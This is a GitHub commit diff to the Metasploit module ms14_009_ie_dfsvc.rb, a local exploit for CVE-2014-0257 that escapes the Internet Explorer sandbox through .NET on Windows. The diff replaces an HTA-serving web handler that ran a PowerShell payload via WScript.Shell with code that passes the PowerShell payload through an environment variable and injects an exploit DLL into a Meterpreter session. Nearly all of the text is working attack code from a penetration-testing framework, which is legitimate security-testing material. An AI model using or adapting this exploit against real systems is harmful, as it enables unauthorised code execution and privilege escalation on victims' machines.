Skip to content

Commit 05ed234

Browse files
committed
Use powershell
1 parent 7f4702b commit 05ed234

File tree

2 files changed

+19
-40
lines changed

2 files changed

+19
-40
lines changed
0 Bytes
Binary file not shown.

modules/exploits/windows/local/ms14_009_ie_dfsvc.rb

Lines changed: 19 additions & 40 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,6 @@ class Metasploit3 < Msf::Exploit::Local
1313

1414
include Msf::Exploit::Powershell
1515
include Msf::Exploit::EXE
16-
include Msf::Exploit::Remote::HttpServer
1716
include Msf::Post::Windows::Priv
1817
include Msf::Post::Windows::FileInfo
1918
include Msf::Post::File
@@ -47,12 +46,15 @@ def initialize(info={})
4746
],
4847
'Platform' => [ 'win' ],
4948
'SessionTypes' => [ 'meterpreter' ],
50-
'Stance' => Msf::Exploit::Stance::Aggressive,
5149
'Targets' =>
5250
[
5351
[ 'IE 8 - 11', { } ]
5452
],
5553
'DefaultTarget' => 0,
54+
'DefaultOptions' =>
55+
{
56+
'WfsDelay' => 30
57+
},
5658
'DisclosureDate'=> "Feb 11 2014",
5759
'References' =>
5860
[
@@ -153,12 +155,22 @@ def exploit
153155

154156
print_good(".NET looks vulnerable, exploiting...")
155157

156-
begin
157-
Timeout.timeout(datastore['DELAY']) { super }
158-
rescue Timeout::Error
159-
end
158+
cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip
159+
session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", cmd)
160+
161+
temp = get_env('TEMP')
162+
163+
print_status("Loading Exploit Library...")
160164

161-
session.railgun.kernel32.SetEnvironmentVariableA("MYURL", nil)
165+
session.core.load_library(
166+
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0257", "CVE-2014-0257.dll"),
167+
'TargetFilePath' => temp + "\\CVE-2014-0257.dll",
168+
'UploadLibrary' => true,
169+
'Extension' => false,
170+
'SaveToDisk' => false
171+
)
172+
173+
session.railgun.kernel32.SetEnvironmentVariableA("PSHCMD", nil)
162174
end
163175

164176
def valid_mscorlib_version?(net_version, mscorlib_version)
@@ -183,38 +195,5 @@ def valid_mscorlib_version?(net_version, mscorlib_version)
183195
valid
184196
end
185197

186-
def primer
187-
exploit_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.hta"
188-
session.railgun.kernel32.SetEnvironmentVariableA("MYURL", exploit_uri)
189-
190-
temp = get_env('TEMP')
191-
192-
print_status("Loading Exploit Library...")
193-
194-
session.core.load_library(
195-
'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0257", "CVE-2014-0257.dll"),
196-
'TargetFilePath' => temp + "\\CVE-2014-0257.dll",
197-
'UploadLibrary' => true,
198-
'Extension' => false,
199-
'SaveToDisk' => false
200-
)
201-
end
202-
203-
def on_request_uri(cli, request)
204-
if request.uri =~ /\.hta$/
205-
print_status("Sending hta...")
206-
hta = <<-eos
207-
<script>
208-
var command = "#{cmd_psh_payload(payload.encoded).strip}";
209-
var shell = new ActiveXObject("WScript.Shell");
210-
shell.Run(command);
211-
</script>
212-
eos
213-
send_response(cli, hta, {'Content-Type'=>'application/hta'})
214-
else
215-
send_not_found(cli)
216-
end
217-
end
218-
219198
end
220199

0 commit comments

Comments
 (0)